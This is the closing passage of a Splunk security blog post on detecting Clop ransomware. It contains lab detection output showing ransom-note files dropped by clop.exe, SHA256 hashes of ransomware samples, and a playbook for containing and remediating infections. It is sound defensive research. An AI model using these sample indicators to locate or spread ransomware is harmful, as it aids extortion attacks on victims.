wln-dc-654.attackrange.local	C:\Users\Public\clop.exe	ClopReadMe.txt	2021-03-18T09:47:50	2021-03-18T09:47:50	245	C:\\$Recycle.Bin\ClopReadMe.txt C:\\$Recycle.Bin\S-1-5-21-758532476-3956299320-1675388311-500\ClopReadMe.txt C:\Boot\ClopReadMe.txt C:\Boot\Fonts\ClopReadMe.txt C:\Boot\Resources\ClopReadMe.txt C:\Boot\Resources\en-US\ClopReadMe.txt C:\Boot\lg-BG\ClopReadMe.txt C:\Boot\lcs-CZ\ClopReadMe.txt C:\Boot\lcs-DA\ClopReadMe.txt C:\Boot\lcs-DE\ClopReadMe.txt C:\Boot\lcs-GR\ClopReadMe.txt C:\Boot\lcs-GB\ClopReadMe.txt C:\Boot\lcs-US\ClopReadMe.txt C:\Boot\lcs-ES\ClopReadMe.txt C:\Boot\lcs-HU\ClopReadMe.txt C:\Boot\lcs-IT\ClopReadMe.txt C:\Boot\FI-FI\ClopReadMe.txt

Hashes: SHA256

- [15f9ed36d9efc6e570b4f506791ce2c6a849853e2f6d587f30fb12d39dba2649](#)
- [3d94c4a92382c5c45062d8ea0517be4011be8ba42e9c9a614a99327d0ebdf05b](#)
- [d0cde86d47219e9c56b717f55dcbd01b0566344c13aa671613598cab427345b9](#)
- [43e633a9a26287e9be7a4788d750258d64612e7b625ab5a3f0a9128469e99c2d](#)

Defense

We can pursue further defensive actions by using the Splunk Phantom playbook Detect, Contain, and Remediate Ransomware, as shown in the following graphic.



This playbook is composed of the following steps:

- **Get file:** Downloads the file sample from a repository.
- **Detonate file:** Submits the file sample for sandbox analysis.
- **Block IP:** Configures your infrastructure to block access to IP addresses associated with the ransomware.
- **Block hash:** Configures your infrastructure to block access to files matching the hash of a malicious sample.
- **Hunt file:** Looks for indications of other infected devices in your environment.
- **Terminate process:** Terminates any instances of the malware actively executing.
- **Quarantine device:** Place the infected devices in quarantine to prevent it from infecting other devices.
- **List connections:** Examine a device’s active connections/add newly discovered malicious IPs to the block ip action.
- **Disable user:** Disable the user’s account to prevent further malware propagation.

Please download the [Splunk ES Content Update](#) app from Splunkbase™ and install the latest version of our content update, which includes the new ransomware analytic story focusing on Clop crimeware.

About the Splunk Threat Research Team

The Splunk Threat Research team is devoted to understanding actor behavior and researching known threats to build detections that the entire Splunk community can benefit from. The Splunk Threat Research team does this by building and open-sourcing tools that analyze threats and actors like the [Splunk Attack Range](#) and using these tools to create attack data sets. From these data sets, new detections are built and shared with the Splunk community under [Splunk Security Content](#). These detections are then consumed by various Splunk products like Enterprise Security, Splunk Security Essentials and Mission Control to help customers quickly and effectively find known threats.

Source: https://www.splunk.com/en_us/blog/security/detecting-clop-ransomware.html